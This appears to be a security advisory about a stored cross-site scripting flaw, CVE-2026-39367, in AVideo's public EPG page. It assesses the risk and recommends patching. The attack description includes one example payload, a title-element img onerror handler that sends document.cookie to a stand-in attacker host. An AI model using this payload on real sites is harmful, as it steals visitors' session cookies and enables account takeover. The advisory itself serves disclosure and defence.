Avideo CVE-2026-39367

This vulnerability presents moderate real-world risk despite a mid-range CVSS score of 5.4. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) indicates network attack vector with low complexity, but requires prior authentication (PR:L) and user interaction (UI:R), limiting the immediate blast radius. However, the stored nature of the XSS and the targeting of public, unauthenticated EPG pages create persistent exposure: any visitor to the EPG can be compromised without authentication, leading to account takeover via session hijacking. The requirement for an authenticated attacker with upload permissions narrows the threat actor pool, but common misconfigurations in open-source deployments may grant such permissions widely. Exploitation is automatable once a malicious XML file is hosted, and the technical impact (account takeover, session hijacking) is substantial. Organizations running AVideo should prioritize patching, especially if EPG features are exposed to untrusted networks.

An authenticated user with video upload permissions creates a malicious XML file containing JavaScript payloads in title elements (e.g., <title><img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'></title>) and sets the video's epg_link to point to this file. When an unauthenticated visitor accesses the public EPG page, the XML is parsed and rendered without escaping, executing the JavaScript in their browser context and exfiltrating session cookies to the attacker's server, enabling account takeover. No public proof-of-concept code has been identified, but the attack requires only basic knowledge of XML and JavaScript.